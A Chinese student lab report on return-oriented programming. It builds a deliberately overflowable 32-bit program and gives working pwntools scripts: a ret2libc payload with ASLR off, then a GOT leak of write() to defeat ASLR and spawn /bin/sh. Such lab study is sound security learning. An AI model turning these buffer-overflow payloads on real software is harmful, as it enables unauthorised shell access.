ROP 技术
实验目的
了解 ROP 技术的原理和应用,学会利用 ROP 技术绕过安全保护。
步骤
canary+ASLR off,NX on 下 getshell
准备工作
执行以下 shell 命令
echo 0 > /proc/sys/kernel/randomize_va_space |
gcc 编译时加入 -z noexecstack
参数
gcc -znoexecstack -fno-stack-protector rop1.c -o rop1 -m32 |
使用 checksec
命令检查
checksec --file ./rop1 |
其中 rop1.c
的源码如下
1 |
|
vuln
函数中,有一个 128 字节长的 char
数组作为 “缓冲区”,然后调用 read()
读入了 256 字节,此时很容易造成程序溢出。我们要利用这个漏洞向 “缓冲区”buf
写入 shellcode,劫持程序流,把返回地址改为恶意代码地址 (bin/sh
)
下面进入 gdb 调试过程:
本次使用目标文件为 rop2
—— 但源码仍然为 rop1.c
-
Buffer 的有效地址为
ebp-0x88
,ebp 距离返回地址又有0x4
的距离,所以在覆盖返回地址前,先要填充0x88+0x4=0x8c
段距离。由于 NX 开启,栈上代码不可执行,所以我们需要使用系统调用system("bin/sh")
。 -
首先确定
system
的地址。 由于 ASLR 还是关闭状态,所以system
地址固定,可以通过system
地址来调用system
函数,/bin/sh
字符串可以在程序所使用的libc.so
链接库中寻找,也是固定的。 -
接下来,寻找字符串
bin/sh
的地址。由于 gdb 的调试环境会影响 buf 变量在内存中的地址,故需要在 python 脚本中开启调试,使用gdb.attach()
即可,然后运行 python 脚本。会开启一个新的 shell 窗口,在其中执行vmmap
查看其引用的libc.so
地址p = process("./rop2")
gdb.attach(p,'b vuln') -
下图表明该程序引用了 2.23 版本的 libc 库,地址范围为
0xf7e06000~0xf7fb9000
,接着在其中寻找bin/sh
字符串这里有个小坑点,gdb-peda 输出结果有微小不同,从而导致找不到
bin/sh
字符串,不知道是什么问题导致的 -
刚才的程序继续后其实也是一个
/bin
程序,只不过其中没有什么命令。但是从没有Hello rop
输出来看,程序控制流已经被改变了。 -
最终 payload 代码如下。先填充足够的字符
a
占满缓冲区,再填入system
函数的地址,由于 getshell 后没有其他事情可做,返回地址随便填,然后跟入/bin/sh
的地址作为参数payload1.py from pwn import *
p = process('./rop2')
# gdb.attach(p,'b vuln')
sys_addr=0xf7e40da0 binsh_addr=0xf7f61a0b payload = 'a'*0x8c + p32(sys_addr)+p32(0xdeadbeef)+p32(binsh_addr)
p.sendline(payload)
p.interactive()
canary off,NX+ASLR on 下 getshell
准备工作
执行以下 shell 命令
1 | echo 2 > /proc/sys/kernel/randomize_va_space |
从目录 /lib/i386-linux-gnu/libc-2.23.so
中拷贝出系统的 so 文件,复制到文件夹下。
由于地址随机化,不可以直接获取 system 的地址,但是 libc.so
中各函数的相对位置不变,可以利用泄露出的某函数地址与 system
函数之间取偏移值,计算 system
函数的地址和 /bin/sh
字符串的地址,就可以使用 ret2libc 方法 getshell。
-
在脚本中,使用
gdb.attach
并打指令b vuln
,在vuln
函数下断点。 利用disass vuln
查看vuln
函数汇编,得到vuln
函数首地址为0x804843b
。另外一种算法是:在 backtrace 可以看到
0x804845a
是 vuln+31 的位置 (如图),计算得知
-
继续运行程序,在寄存器中可以看到 got 表泄露的
write
绝对地址0xf7644b70
与其在程序中的地址0x804a014
。write
函数所在 got 表中的相对偏移量为 + 20,说明 got 表的基地址为0x804a000
。立刻执行print system
,看到此时libc_system
的地址是0xf75a9da0
。 -
执行
plt
命令,看到write
函数的plt
地址为0x8048320
。 -
使用
vmmap
和find
命令寻找/bin/sh
的地址。 -
计算字符串
/bin/sh
相对偏移量为ROP 所需要的东西都齐备了。 -
但是在实际 getshell 的过程中,我们需要以脚本的方式来自动化完成泄露地址 -> 寻找相对差值 -> 写 shellcode 的过程,所以需要 pwn 库的一些额外功能。由于只有在程序运行时,才会加载系统库,所以需要预先发送一个 payload,此 payload 用于泄露地址,计算出
/bin/sh
的相对位移后,第二步的 payload 才会 “击中要害”。 -
Pwn 的 ELF 模块用于获取 ELF 文件的信息,用法是
elf=ELF('sofile_name')
,我们要在这里拿write
函数的 got 表和 plt 表地址,可以直接用elf.got["write"]
,elf.plt["write"]
获得,至于寻找/bin/sh
字符串,可以用next(elf.search('/bin/sh'))
获得。 -
最终 payload 代码如下
payload2.py 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24from pwn import *
p =process('./rop2')
libc = ELF('./libc.so')
# gdb.attach(p,'b vuln')
write_got = 0x804a014 write_plt = 0x8048320 vuln_addr = 0x804843b
log.info('leaking addr from write got&plt')
rop1 = p32(write_plt)+p32(vuln_addr)+p32(1)+p32(write_got)+p32(4)
payload1='a'*0x8c + rop1 p.sendline(payload1)
write_addr = u32(p.recv(4))
sys_addr = write_addr - (libc.symbols['write']-libc.symbols['system'])
binsh_addr = write_addr - (libc.symbols['write']-next(libc.search('/bin/sh')))
log.info('write_addr:%#x'%write_addr)
log.info('write in libc.symbols:%#x'%libc.symbols['write'])
log.info('system in libc.symbols:%#x'%libc.symbols['system'])
log.info('/bin/sh absolute addr:%#x'%next(libc.search('/bin/sh')))
log.info('system_addr:%#x'%sys_addr)
log.info('binsh_addr:%#x'%binsh_addr)
log.info('sending final payload')
rop2 = p32(sys_addr)+p32(0xdeadbeef)+p32(binsh_addr)
payload2='a'*0x8c+rop2
p.sendline(payload2)
p.interactive()其中第一步先向
vuln_addr
写入write
函数的地址,以获得泄露的write
函数绝对地址。然后,根据系统库的相对偏移计算出/bin/sh
的地址,最终的 payload 是填充0x8c个字符"a"+sys_addr+sys_addr的返回地址(随意指定一个不存在的值)+binsh_addr
。观察上述脚本,我还发现,/bin/sh
的地址其实可以直接用write
和/bin/sh
的相对差值来算,不需要再单独算出sys_addr
。
实验难点及收获
本次实验的难点和最大的收获都在于 payload 的构造方法。这次通过两个实验,了解到了利用 ROP 技术绕过 NX 和 ASLR 保护的方法,了解到 shellcode system("/bin/sh")
在此时的一般构造格式为溢出填充字符+p32(sys_addr)+p32(system的返回地址,一般指定一个不存在的地址)+p32(binsh_addr)
,sys_addr
可以在 ASLR 关闭的情况下直接 gdb 调试观察,或者在 ASLR 开启时通过泄露 libc 某函数的地址,算出相对差值以获得。
本次实验所使用的程序都是 32 位程序,实际上还有很多 64 位程序会用到相似的思路,不过 64 位程序需要借助 gadget,这是以后要进一步学习的内容了。
实验思考
问题:为什么明明 pwndbg 和 gdb-peda 对于 vmmap 中 libc-2.23.so 的起始终止地址输出均相同,但是在 gdb-peda 中找不到 /bin/sh
呢?